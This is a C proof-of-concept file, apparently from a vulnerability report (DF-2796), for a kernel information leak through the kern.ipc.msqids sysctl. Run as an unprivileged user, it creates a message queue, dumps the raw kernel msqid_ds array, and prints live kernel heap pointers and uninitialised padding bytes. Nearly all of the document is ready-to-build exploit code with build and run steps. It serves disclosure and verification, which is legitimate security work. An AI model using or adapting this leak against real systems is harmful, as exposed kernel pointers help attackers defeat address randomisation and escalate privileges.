DF-2796 / msqids_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-2796: kern.ipc.msqids sysctl dumps the raw kernel msqid_ds array -- * including live kernel heap pointers (msg_first/msg_last), never-written * padding, and every queue's key/metadata -- to ANY unprivileged user. * No IPC_R permission on any queue is required (unlike IPC_STAT = DF-0050). * * Build: cc -O2 -o msqids_leak msqids_leak.c * Run: ./msqids_leak (as unprivileged user) * Expect: msg_first/msg_last print as canonical kernel pointers * (0xffff...), exit 0. Padding bytes dumped raw. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/ipc.h> #include <sys/msg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* * Kernel-side x86_64 layout of struct msqid_ds (sys/sys/msg.h:68-84 + * sys/sys/ipc.h:72-80). Userland <sys/msg.h> has the same pointer * members, but libc never fills them; we parse the sysctl bytes with an * explicit mirror so the offsets are unambiguous. */ struct k_ipc_perm { uint32_t cuid; /* 0 */ uint32_t cgid; /* 4 */ uint32_t uid; /* 8 */ uint32_t gid; /* 12 */ uint16_t mode; /* 16 */ uint16_t seq; /* 18 */ /* 4 bytes padding */ int64_t key; /* 24 */ }; /* size 32 */ struct k_msqid_ds { struct k_ipc_perm perm; /* 0 */ void *msg_first; /* 32 <-- kernel heap pointer */ void *msg_last; /* 40 <-- kernel heap pointer */ uint64_t msg_cbytes; /* 48 */ uint64_t msg_qnum; /* 56 */ uint64_t msg_qbytes; /* 64 */ int32_t msg_lspid; /* 72 */ int32_t msg_lrpid; /* 76 */ int64_t msg_stime; /* 80 */ int64_t msg_pad1; /* 88 <-- never written by kernel */ int64_t msg_rtime; /* 96 */ int64_t msg_pad2; /* 104 <-- never written */ int64_t msg_ctime; /* 112 */ int64_t msg_pad3; /* 120 <-- never written */ int64_t msg_pad4[4]; /* 128 <-- never written */ }; /* size 160 */ int main(void) { struct { long mtype; char mtext[64]; } msg = { 1, "DF-2796-leak-probe" }; size_t len = 0; unsigned char *buf; int qid, mib[3]; size_t miblen; struct k_msqid_ds *ent; int i, ret = 1; /* 1. create a private queue + put one message on it */ qid = msgget(IPC_PRIVATE, 0600); if (qid < 0) { perror("msgget"); return 1; } if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) < 0) { perror("msgsnd"); goto out; } /* 2. dump the whole kernel msqids array as an unprivileged user */ if (sysctlbyname("kern.ipc.msqids", NULL, &len, NULL, 0) < 0) { perror("sysctl(size)"); goto out; } buf = malloc(len); if (sysctlbyname("kern.ipc.msqids", buf, &len, NULL, 0) < 0) { perror("sysctl(data)"); goto out; } printf("kern.ipc.msqids readable by uid %d: %zu bytes " "(%zu queues x %zu bytes)\n", getuid(), len, len / sizeof(struct k_msqid_ds), sizeof(struct k_msqid_ds)); /* 3. parse OUR queue's entry straight out of the raw dump */ ent = (struct k_msqid_ds *)(buf + (qid & 0xffff) * sizeof(struct k_msqid_ds)); printf("qid=%d slot=%d qnum=%llu cbytes=%llu\n", qid, qid & 0xffff, (unsigned long long)ent->msg_qnum, (unsigned long long)ent->msg_cbytes); printf("msg_first = %p\n", ent->msg_first); printf("msg_last = %p\n", ent->msg_last); printf("padding (never written by kernel): " "pad1=%016llx pad2=%016llx pad3=%016llx pad4=[", (unsigned long long)ent->msg_pad1, (unsigned long long)ent->msg_pad2, (unsigned long long)ent->msg_pad3); for (i = 0; i < 4; i++) printf("%s%016llx", i ? "," : "", (unsigned long long)ent->msg_pad4[i]); printf("]\n"); /* 4. success criterion: canonical x86_64 kernel pointer in the dump */ if (((uintptr_t)ent->msg_first >> 48) == 0xffff) { printf("LEAK: unprivileged sysctl disclosed live kernel heap " "pointer msg_first=%p (msghdrs allocation, M_MSG)\n", ent->msg_first); ret = 0; } else { printf("msg_first does not look like a kernel pointer\n"); } out: msgctl(qid, IPC_RMID, NULL); return ret; } |